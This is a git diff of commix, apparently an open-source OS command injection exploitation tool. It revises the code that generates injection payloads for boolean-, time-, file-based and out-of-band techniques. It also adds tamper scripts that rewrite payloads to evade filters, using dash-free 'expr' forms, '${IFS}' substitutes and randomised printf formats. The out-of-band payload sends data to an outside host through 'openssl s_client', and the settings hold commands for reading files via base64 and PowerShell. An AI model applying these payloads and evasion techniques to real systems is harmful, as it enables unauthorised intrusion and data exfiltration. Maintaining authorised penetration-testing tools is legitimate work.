'readme/COPYING' for copying permission. """ +""" +What every payload in this package prints with, and why it is not what the command payloads print +with. + +Those choose between 'printf' and 'echo' through the 'checks.print_*' family, because a POSIX shell +writes an argument as it stands with the one and reads backslashes as escapes - and an output +beginning '-n' as an option - with the other. These do not choose. One payload here serves either +operating system, only what a shell cannot share being written twice ('$((...))' against 'set /a'), +and 'echo' is the one printer 'cmd.exe' also has: asking 'checks.print_*' for it would reach for a +'printf' that is not there the moment the target turns out to be Windows. + +Nothing printed here is an output of the target's, either. It is a marker of letters, or a sum of +two numbers commix chose itself, so neither of the things 'echo' does to a string can reach one - +which is the whole of what 'printf' is preferred for on the other side. +""" + # eof diff --git a/src/core/eval/payloads/file_based.py b/src/core/eval/payloads/file_based.py index 2ffbfc7ed5..e4eb3396da 100644 --- a/src/core/eval/payloads/file_based.py +++ b/src/core/eval/payloads/file_based.py @@ -20,7 +20,9 @@ The available "file-based" payloads. Nothing here spells out a language: the command comes from the grammar of whichever one is being -evaluated. The redirection is the shell's own, so one payload serves either operating system. +evaluated. The redirection is the shell's own, so one payload serves either operating system - +which is why the marker is printed with 'echo' rather than through 'checks.print_*', for the reason +this package's '__init__.py' gives. """ # The command, run from inside the string being evaluated. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f0f2d33ece..234b561880 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1317,11 +1317,26 @@ def injected_delay_allowance(): # Send the payload wherever the injection point is, and time the answer. def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): + # What the caller still holds, which is what a finding is reported under - the three rewrites + # below are this request's own, so the payload of record is no longer the string it was handed. + payload_as_given = payload # Fix prefixes / suffixes payload, prefix = parameters.prefixes(payload, prefix) payload, suffix = parameters.suffixes(payload, suffix) - - payload = checks.tamper_outside_single_quotes(payload, lambda part: part.replace(settings.SINGLE_WHITESPACE, whitespace)) + + # Where the payload itself begins and ends in what is about to be sent, told to the rewrites + # below while the two ends are still known separately from it. The payload is unchanged by the + # gluing, so it is found in there exactly as it was handed over. + body = payload.find(payload_as_given) + settings.PAYLOAD_EDGES = ((payload[:body], payload[body + len(payload_as_given):]) + if body != -1 else ("", "")) + # A substitute the shell reads as text cannot go inside a quoted literal, where it would be that + # text rather than the gap it stands for; one the target decodes first arrives there as the space + # itself and is written in as before. Nothing is rewritten at all where neither applies. + if whitespace != settings.SINGLE_WHITESPACE: + rewrite = (checks.tamper_outside_single_quotes if whitespace in settings.DECODED_WHITESPACES + else checks.tamper_outside_quoted_text) + payload = rewrite(payload, lambda part: checks.tamper_blanks(part, whitespace)) """ What the caller is handed back is the payload as it stands here, before the two rewrites below. @@ -1334,6 +1349,11 @@ def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http """ payload_of_record = payload payload = checks.perform_payload_modification(payload) + # Noted before the transport's own encoding goes on, which is the form a finding is reported in. + # Under both the payload of record and the string the caller still holds: a prefix, a suffix or a + # whitespace substitute leaves the two different, and a finding is reported under the latter. + checks.note_payload_as_sent(payload_of_record, payload) + checks.note_payload_as_sent(payload_as_given, payload) # A parameter the target carries encoded is written back the way it arrived, the whole value at # once rather than the injected part alone - which is what makes the value it reads a valid one. payload = checks.apply_value_encoding(payload) diff --git a/src/core/techniques/boolean_based/bb_payloads.py b/src/core/techniques/boolean_based/bb_payloads.py index ff19b8bc28..03e57df9e9 100644 --- a/src/core/techniques/boolean_based/bb_payloads.py +++ b/src/core/techniques/boolean_based/bb_payloads.py @@ -96,9 +96,11 @@ def _printed_through_pipe(arithmetic): def _piped_length(word): return "$(" + checks.print_value("\"" + word + "\"") + settings.PIPE_SEPARATOR + "wc -c)" +# The reading the time-based technique already takes, asked for there rather than written out +# again here: the two spellings of it drifted apart once, one of them keeping a 'printf' the run +# had stopped using. def _piped_ordinal(word, num_of_chars): - return ("$(" + checks.print_value("\"" + word + "\"") + settings.PIPE_SEPARATOR + "tail -c +" + str(num_of_chars) + - settings.PIPE_SEPARATOR + "head -c 1" + settings.PIPE_SEPARATOR + "od -A n -t u1)") + return tb_payloads._ordinal_expr(word, num_of_chars) """ The command's output held in a variable, and cut down to the byte being asked about. diff --git a/src/core/techniques/file_based/fb_payloads.py b/src/core/techniques/file_based/fb_payloads.py index e09a5e40f3..45ca4b6634 100755 --- a/src/core/techniques/file_based/fb_payloads.py +++ b/src/core/techniques/file_based/fb_payloads.py @@ -52,13 +52,18 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): """ Combined multi-tag decision payload for false-positive verification (Unix only). + +Written out by one command rather than one per marker. Several of them would be chained on the +separator that proved the injection, and two of those do not run what they join in turn: "&" puts +what precedes it in the background and "|" starts both sides at once, which leaves the write that +truncates the file racing the one that appends to it. The read that follows asks for the markers in +the order they went in, so a race there is read as a target answering every payload the same way - +a real finding thrown out as a false positive. One write cannot come out in the wrong order, and +the markers run together are still read apart, each being looked for in its turn. """ def decision_combined(separator, tags, OUTPUT_TEXTFILE): - writes = [] - for index, tag in enumerate(tags): - operator = settings.FILE_WRITE_OPERATOR if index == 0 else settings.FILE_APPEND_OPERATOR - writes.append(checks.print_marker(tag) + operator + settings.WEB_ROOT + OUTPUT_TEXTFILE) - payload = separator + separator.join(writes) + payload = (separator + checks.print_marker("".join(tags)) + + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE) payload = checks.terminate_payload(payload, separator) return payload diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index 8ac3a79daf..42881de4e7 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -154,6 +154,10 @@ def _openssl_cmd(hostname, cmd=None, proof=""): connect = (PIPE + "openssl s_client -connect " + hostname + ":" + port + " -servername " + hostname + " 2>/dev/null") # Double quoted, so the shell works the sum out before 'printf' is handed the request line. + # Named here rather than asked of 'checks.print_*', which the rest of the payloads print through: + # what is being written is a request line, and the one thing 'echo' cannot be relied on for on + # every shell is the '\r\n' that ends one. Nothing else in an out-of-band payload prints at all, + # so this is still the only name one of them carries. if cmd is None: return "printf \"GET /" + proof + " HTTP/1.0\\r\\nHost: " + hostname + "\\r\\n\\r\\n\"" + connect """ diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index 0117996477..9c4ef92325 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -73,9 +73,13 @@ def _length_arg_expr(word): def _ordinal_expr(word, num_of_chars): # '+' rather than a bare '+', which arrives as a space - and 'tail -c N' counts from the end. # Held in '$( )' whichever substitution is in use, as the count beside it is: the word inside is - # itself a substitution, and a backtick cannot hold another without escaping it. - return ("$(printf '%s' \"" + word + "\" | tail -c +" + str(num_of_chars) + - " | head -c 1 | od -A n -t u1)") + # itself a substitution, and a backtick cannot hold another without escaping it. Printed through + # the same command everything else in the payload is printed through: spelled out here instead, + # it went on saying 'printf' while a run that had settled on 'echo' said that everywhere else, + # and a payload carrying both names answers for both to whichever filter refuses either. + return ("$(" + checks.print_value("\"" + word + "\"") + settings.PIPE_SEPARATOR + + "tail -c +" + str(num_of_chars) + settings.PIPE_SEPARATOR + "head -c 1" + + settings.PIPE_SEPARATOR + "od -A n -t u1)") """ The interpreter reads the output as an argument of its own rather than off a pipe. It is still data diff --git a/src/tamper/obfuscation/posix/dashlesstest.py b/src/tamper/obfuscation/posix/dashlesstest.py index 1f21a88e4a..63bb3f6b33 100644 --- a/src/tamper/obfuscation/posix/dashlesstest.py +++ b/src/tamper/obfuscation/posix/dashlesstest.py @@ -13,6 +13,8 @@ For more see the file 'readme/COPYING' for copying permission. """ +import re + from src.utils import settings from src.core.controller import checks @@ -20,6 +22,11 @@ About: Runs 'test's numeric comparisons ('-eq'/'-ne'/'-le'/'-ge'/'-lt'/'-gt') without a '-' of their own, for a target that strips a bare '-' outright. Notes: This tamper script works against target(s) with a POSIX shell. Equality is read as '='/'!=', which agrees with '-eq'/'-ne' exactly for the plain, unpadded decimal integers commix always compares this way - it would not for a value written with a leading zero. Ordering has no dash-free spelling of its own in 'test', so it is read instead from 'expr's own comparison, whose "<="/">="/"<"/">" need no '-' either - quoted, since unquoted they are shell redirections. + What this reaches is every '-' the results-, boolean-, time- and file-based techniques + write: the comparisons above, a word's length, a byte's ordinal, and the marker a result is + read by. The tempfile-based technique's byte reading is not among them - it turns a whole + file into the decimals of its bytes through options, which are spelled with the character + this script is there to avoid - and a run reaching that technique is told so. References: [1] https://github.com/digininja/DVWA/blob/master/vulnerabilities/exec/source/high.php """ @@ -65,12 +72,88 @@ def _rewrite_ordering(payload): search_from = open_bracket + len(replacement) return payload +""" +The printing a reading is taken through, as either technique writes it. + +The same reading is written twice in the tree - once through 'checks.print_value()' and once with +the format spelled out - and with or without spaces around the pipes. Matched both ways here so one +rewrite covers them, rather than one of them being quietly left carrying a '-'. +""" +_PRINTERS = r"(?:printf %s |printf '%s' |echo -n )" +_PIPE = r"\s*\|\s*" + +# How far into a word a reading starts, as the regex 'expr' matches that many characters with. +def _skipped(count): + return r".\{" + str(count) + r"\}" + +""" +The byte count the comparisons are made against, spelled without the '-' of 'wc -c'. + +Written down a pipe because the separator being proved is one, and nothing set on its left side +survives to be read with '${#...}' on the right. 'expr STRING : REGEX' answers with how far the +match ran, which needs neither a pipe nor a dash, and agrees with 'wc -c' on what this counts - +a marker of ASCII letters, where a character and a byte are the same thing. +""" +_LENGTH = re.compile(r"\$\(" + _PRINTERS + r'"(?P[^"]*)"' + _PIPE + r"wc -c\)") + +def _rewrite_length(payload): + return _LENGTH.sub(lambda m: '$(expr "' + m.group("word") + '" : \'.*\')', payload) + +""" +The byte read down the pipe, without the '-' of 'tail -c +N', 'head -c 1' and 'od -A n -t u1'. + +'expr STRING : REGEX' takes the character the three of them were there to reach, and 'printf' reads +its ordinal the way every other byte in a payload is read. Written as a command substitution rather +than an arithmetic one, because this stands where the caller may already have an arithmetic +expansion open, and one holding another is not parsed alike everywhere. The span is added on and +taken off again for the same reason 'byte_ordinal' does it - a build whose 'printf' signs the byte +answers with a negative, and the same sum lands either answer back in range. +""" +_ORDINAL = re.compile(r"\$\(" + _PRINTERS + r'"(?P[^"]*)"' + _PIPE + r"tail -c \+(?P\d+)" + + _PIPE + r"head -c 1" + _PIPE + r"od -A n -t u1\)") + +def _rewrite_piped_ordinal(payload): + span = str(settings.HIGHEST_BYTE + 1) + def _rewritten(match): + character = '$(expr "' + match.group("word") + '" : "' + _skipped(int(match.group("at")) - 1) + r'\(.\)")' + return ("$(expr \\( $(" + settings.BYTE_LOCALE + " printf '%d' \"'" + character + + "\") + " + span + " \\) % " + span + ")") + return _ORDINAL.sub(_rewritten, payload) + +""" +The marker printed, or not, without the '-' of 'tail -c +N'. + +The pipe form writes the marker out whole and then takes it from the byte the comparison picks - +its first where the answer is yes, one past its last where it is no, which leaves nothing to take. +The same choice is made by how far into the marker 'expr' is told to start: none of it where the +answer is yes, all of it where it is no, and what comes back is handed to the run's own printing +rather than to a second one of this script's. +""" +_PRINTED_MARKER = re.compile(r"(?P" + _PRINTERS + r")(?P\w+)" + _PIPE + + r"tail -c \+\$\(\( \((?P.*?)\) \? 1 : (?P\d+) \)\)") + +def _rewrite_printed_marker(payload): + def _rewritten(match): + skipped = "$(( (" + match.group("arith") + ") ? 0 : " + str(int(match.group("past")) - 1) + " ))" + taken = '$(expr "' + match.group("marker") + '" : "' + r".\{" + skipped + r"\}\(.*\)" + '")' + # What comes back is a word of letters or nothing at all, and neither printing may carry a '-' + # of its own - which rules out the '-n' a value is printed with where the run prints with + # 'echo'. The line break 'echo' leaves behind costs nothing: what is read off the page is + # whether the marker is on it. 'printf' keeps its format, since handed none at all it answers + # with a usage error instead of the silence an absent marker is supposed to look like. + printing = "echo" + settings.SINGLE_WHITESPACE if settings.PRINT_WITH_ECHO else checks.print_value("") + return printing + taken + return _PRINTED_MARKER.sub(_rewritten, payload) + # Read every comparison the way 'test' does without its own operators' '-'. def tamper(payload): # A target settled as Windows after this script was accepted: 'cmd.exe' has no 'test' expression to write the dash-free way. if settings.TARGET_OS == settings.OS.WINDOWS: return payload payload = _rewrite_ordering(payload) + payload = _rewrite_length(payload) + payload = _rewrite_printed_marker(payload) + payload = _rewrite_piped_ordinal(payload) return payload.replace(" -eq ", " = ").replace(" -ne ", " != ") # eof diff --git a/src/tamper/whitespace/posix/space2ifs.py b/src/tamper/whitespace/posix/space2ifs.py index 2cf653bcfe..0684a6f35d 100644 --- a/src/tamper/whitespace/posix/space2ifs.py +++ b/src/tamper/whitespace/posix/space2ifs.py @@ -20,7 +20,10 @@ About: Replaces space character (' ') with the internal field separator ($IFS) in a given payload. The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. -Notes: This tamper script works against target(s) with a POSIX shell. +Notes: This tamper script works against target(s) with a POSIX shell. '${IFS}' is a separator only + once the shell has expanded it and split what it expanded, so where that is not what happens + - beside a keyword, after a command's own assignments, or inside a quoted literal - the + request writes a tab in its place, or leaves the whitespace as it was. """ __tamper__ = "space2ifs" diff --git a/src/tamper/whitespace/posix/space2ifsraw.py b/src/tamper/whitespace/posix/space2ifsraw.py index 3a2ae61bc4..a24a9142f7 100644 --- a/src/tamper/whitespace/posix/space2ifsraw.py +++ b/src/tamper/whitespace/posix/space2ifsraw.py @@ -23,8 +23,10 @@ character this kind of filter takes away. '$9' is an empty positional parameter in an ordinary run, so it contributes nothing beyond ending the '$IFS' expansion cleanly: without it, '$IFS' run straight into a following letter, digit or underscore would be read as a - longer, different (and empty) variable name instead. Safe wherever it lands, since nothing - about what follows the space changes how it is used. + longer, different (and empty) variable name instead. It is a separator only once the shell + has expanded it and split what it expanded, so where that is not what happens - beside a + keyword, after a command's own assignments, in front of a digit, or inside a quoted literal + - the request writes a tab in its place, or leaves the whitespace as it was. References: [1] https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners """ diff --git a/src/tamper/whitespace/posix/space2randomblank.py b/src/tamper/whitespace/posix/space2randomblank.py index c5a7ad6872..1a818c93b1 100644 --- a/src/tamper/whitespace/posix/space2randomblank.py +++ b/src/tamper/whitespace/posix/space2randomblank.py @@ -23,18 +23,17 @@ small set of equivalents, rather than the one substitute every other space2* script settles on for the whole payload. Notes: This tamper script works against target(s) with a POSIX shell. - 'if'/'then'/'fi' and friends are recognised before '${IFS}' expands, so 'if${IFS}' is never - read back as the keyword - a tab goes next to those instead. '$IFS$9' merges with a digit - right after it into one (empty) parameter, so it is skipped there too. Picked once per call - rather than once per occurrence, since a choice that breaks here would otherwise pass - boolean-based verification's first check and fail its second, or the other way round. + Where one of the two expansions would not be read as the gap it stands for - beside a + keyword, after a command's own assignments, or, for '$IFS$9', in front of a digit - the tab + goes in instead, 'tamper_blank_allowed' being what settles which. A whitespace inside a + double-quoted literal is left alone altogether: there it is a character of the string rather + than the gap between two words, and none of these equivalents is that same one character. """ __tamper__ = "space2randomblank" __priority__ = settings.PRIORITY.LOWER -_BLANKS = ("\t", "${IFS}", "$IFS$9") -_KEYWORDS = ("if", "then", "elif", "else", "fi", "for", "while", "until", "do", "done", "case", "esac", "in") +_BLANKS = (checks.TAMPER_PARSED_BLANK, "${IFS}", "$IFS$9") # Why this script cannot be applied to the target at hand, or nothing where it can. def dependencies(): @@ -43,16 +42,11 @@ def dependencies(): if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True -# Rules out whichever choices would misparse here, and picks randomly among what is left. +# Rules out whichever choices would misparse here, and picks randomly among what is left. Where +# that is none of them the tab goes in, which 'tamper_blank_allowed' never rules out. def _blank_for(part, start, end): - before = re.search(r"(\w+)\Z", part[:start]) - after = re.match(r"\A(\w+)", part[end:]) - choices = _BLANKS - if (before and before.group(1) in _KEYWORDS) or (after and after.group(1) in _KEYWORDS): - choices = ("\t",) - elif after and after.group(1)[:1].isdigit(): - choices = tuple(blank for blank in choices if blank != "$IFS$9") - return random.choice(choices) + choices = tuple(blank for blank in _BLANKS if checks.tamper_blank_allowed(blank, part, start, end)) + return random.choice(choices or (checks.TAMPER_PARSED_BLANK,)) # Every occurrence of the current separator, each replaced with its own independent pick - so a # signature over one consistent telltale substitute never sees the same one twice in a row. @@ -68,6 +62,6 @@ def tamper(payload): pattern = re.escape(current) def _replace(part): return re.sub(pattern, lambda match: _blank_for(part, match.start(), match.end()), part) - return checks.tamper_outside_single_quotes(payload, _replace) + return checks.tamper_outside_quoted_text(payload, _replace) # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 59c83753d2..609ceedfdc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -238,13 +238,22 @@ def print_payload(payload): at '-v 2' is for. The only things changed are the characters a terminal does not draw, which would otherwise split the line or leave two different payloads looking like the same one. """ + # A payload is shown exactly as long as it is, a trailing space included. + return _format_msg(PAYLOAD_SIGN, rendered_payload(payload), strip=False) + +""" +The characters a terminal does not draw, written out so they can be read. + +Every payload that is shown goes through here, wherever it is shown from - a payload written one +way where it is sent and another where it is reported reads as two payloads, and a tab printed raw +into a summary is a tab a reader cannot see is there. +""" +def rendered_payload(payload): for sequence, shown in ((END_LINE.CRLF, ESCAPED_CRLF), (END_LINE.CR, ESCAPED_CR), (END_LINE.LF, END_LINE.ESCAPED_LF)): payload = payload.replace(sequence, shown) - payload = re.sub(r"[\x00-\x1f\x7f]", lambda match: ESCAPED_CONTROLS.get(match.group(0), - "\\x%02x" % ord(match.group(0))), payload) - # A payload is shown exactly as long as it is, a trailing space included. - return _format_msg(PAYLOAD_SIGN, payload, strip=False) + return re.sub(r"[\x00-\x1f\x7f]", lambda match: ESCAPED_CONTROLS.get(match.group(0), + "\\x%02x" % ord(match.group(0))), payload) # Print HTTP traffic (verbose mode) def print_traffic(traffic): @@ -500,7 +509,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "349" +REVISION = "350" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -535,13 +544,34 @@ def sys_argv_errors(): # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) -# Random variable name (E-Z only). -RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase[4:]) for _ in range(3)) -# Random "printf" format for a printed word and the one space it is written with - the conversion, -# the octal escape and the side the space falls on are each spelled more than one way, so a filter -# refusing the format has no one string of it to go by. -RANDOM_PRINTF_FORMAT = random.choice((r"%s\\040", r"%s\\40", r"\\040%s", r"\\40%s", - r"%-s\\040", r"%-s\\40", r"\\040%-s", r"\\40%-s")) +# Names the shell has a meaning of its own for, which a variable of ours must not be drawn as. +# Assigning to one takes that meaning away for the rest of the payload: 'IFS' decides where one +# word ends and the next begins, and is what a whitespace substitute is written out of, so a +# payload that named itself after it separates nothing and reads its own marker back as the gap. +# Spelled in letters only, since the draw below has nothing else to spell them with. +SHELL_OWNED_NAMES = frozenset(( + "IFS", "ENV", "PWD", "OLDPWD", "PATH", "HOME", "SHELL", "TERM", "USER", + "LOGNAME", "MAIL", "MAILPATH", "MAILCHECK", "CDPATH", "UID", "EUID", "GID", + "PPID", "SHLVL", "RANDOM", "SECONDS", "LINENO", "REPLY", "OPTARG", "OPTIND", + "LANG", "TMPDIR", "TZ", "COLUMNS", "LINES", "HISTFILE", "HISTSIZE", "BASH", + "FUNCNAME", "GROUPS", "DIRSTACK", "PIPESTATUS", "HOSTNAME", "HOSTTYPE", + "OSTYPE", "MACHTYPE", "EDITOR", "VISUAL", "PAGER" +)) + +# Random variable name (E-Z only), of a length that leaves the draw room to be a name of its own. +def random_var_name(length=4, alphabet=string.ascii_uppercase[4:]): + while True: + name = ''.join(random.choice(alphabet) for _ in range(length)) + if name not in SHELL_OWNED_NAMES: + return name + +RANDOM_VAR_GENERATOR = random_var_name() +# Random "printf" format for a printed word and the one space it is written with - the octal escape +# and the side the space falls on are each spelled two ways, so a filter refusing the format has no +# one string of it to go by. All four are dash-free: the conversion written "%-s" reads the same to +# "printf", but a target filtering a bare "-" refuses every payload carrying it, and a filter on +# "-" is a thing targets do where one on "%s" alone is not. +RANDOM_PRINTF_FORMAT = random.choice((r"%s\\040", r"%s\\40", r"\\040%s", r"\\40%s")) # Path to text resources folder DATA_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..', 'data')) @@ -1150,9 +1180,30 @@ def current_technique(): # Raw payload (without tampering) RAW_PAYLOAD = "" +# What each payload of record was rewritten into on its way out, kept so a finding is +# reported as the request that proved it rather than as a fresh rewrite of the same payload - +# a script drawing a name or a position at random does not draw the same one twice. +PAYLOADS_AS_SENT = {} +# How many it keeps before starting over - a run sends far more payloads than it reports on, +# and only the handful that proved something is ever looked up again. +MAX_PAYLOADS_AS_SENT = 2000 +# What a payload is glued between to reach the sink: the parameter's own value and the boundary's +# prefix in front of it, the boundary's suffix behind. A quote in there closes one the application +# itself opened and is answered by one the payload does not hold, so what sits between the two is +# the application's quoting rather than the payload's own - the opposite of a quoted literal. +PAYLOAD_EDGES = ("", "") +# Whether the trace has already said which technique an internal command is going out through. +# What that says is that such a command need not use the technique it is being run for, which is +# worth saying where it is first seen and is noise on every one after it. +TECHNIQUE_NAMED_IN_TRACE = False # Single whitespace SINGLE_WHITESPACE = " " +# The whitespace substitutes the target turns back into the one space they stood for before its +# shell ever reads them. Those are as good inside a quoted literal as outside it, having become +# that same one character by then - which is what none of the others ('${IFS}', a tab, a vertical +# tab, or any of these written more than once) does. +DECODED_WHITESPACES = ("%20", "+") # The default whitespace, as a space - encoded with the rest of the payload at the end. WHITESPACES = [SINGLE_WHITESPACE] @@ -1336,7 +1387,6 @@ def current_technique(): FILE_READ_B64 = "base64 <" WIN_FILE_READ_B64 = "powershell.exe -c \"[Convert]::ToBase64String([IO.File]::ReadAllBytes('" FILE_WRITE_OPERATOR = " >" -FILE_APPEND_OPERATOR = " >>" # What cmd.exe reads as its own escape character, and drops. WIN_ESCAPE = "^" @@ -2246,6 +2296,11 @@ class PRIORITY(object): # though a bare name carries no path to glob) leaves nothing after it that still reads as one of # its recognised command names, so it is left to fold away whatever space is still there to find. COMMAND_REWRITERS = ("cmd2wildcard", "cmd2var", "cmd2redir") +# The one script that trades the two printing commands for each other, named here so that what +# follows its being in use does not spell it out a second time and drift from it. +PRINTF_TO_ECHO_TAMPER = "printf2echo" +# The one script that works a filtered '-' out of the payloads, named here for the same reason. +DASHLESS_TAMPER = "dashlesstest" # Scripts asking more of the target's shell than POSIX gives, and what each one asks for. A run # carrying one of these and finding nothing may have found nothing because the shell is a plain one. @@ -2314,21 +2369,15 @@ class PRIORITY(object): # Words that must survive per-character obfuscation - shell keywords stop being keywords once # obfuscated, and user-supplied commands can still use them. +# What a POSIX shell settles before it takes any quoting off and before it expands anything: a +# keyword is read off the word exactly as it was written, so one spelled any other way - or run +# into a whitespace substitute that is only a separator once expanded - reaches the target as a +# plain word, and the payload loses the branch or the loop it was built around. +SHELL_KEYWORDS = ("if", "then", "elif", "else", "fi", "for", "while", "until", "do", "done", "case", "esac", "in") + IGNORE_TAMPER_TRANSFORMATION = [ "IFS", - "if", - "then", - "elif", - "else", - "fi", - "for", - "while", - "until", - "do", - "done", - "case", - "esac", - "in", +] + list(SHELL_KEYWORDS) + [ "cmd", "%0d", "PATH%%u*",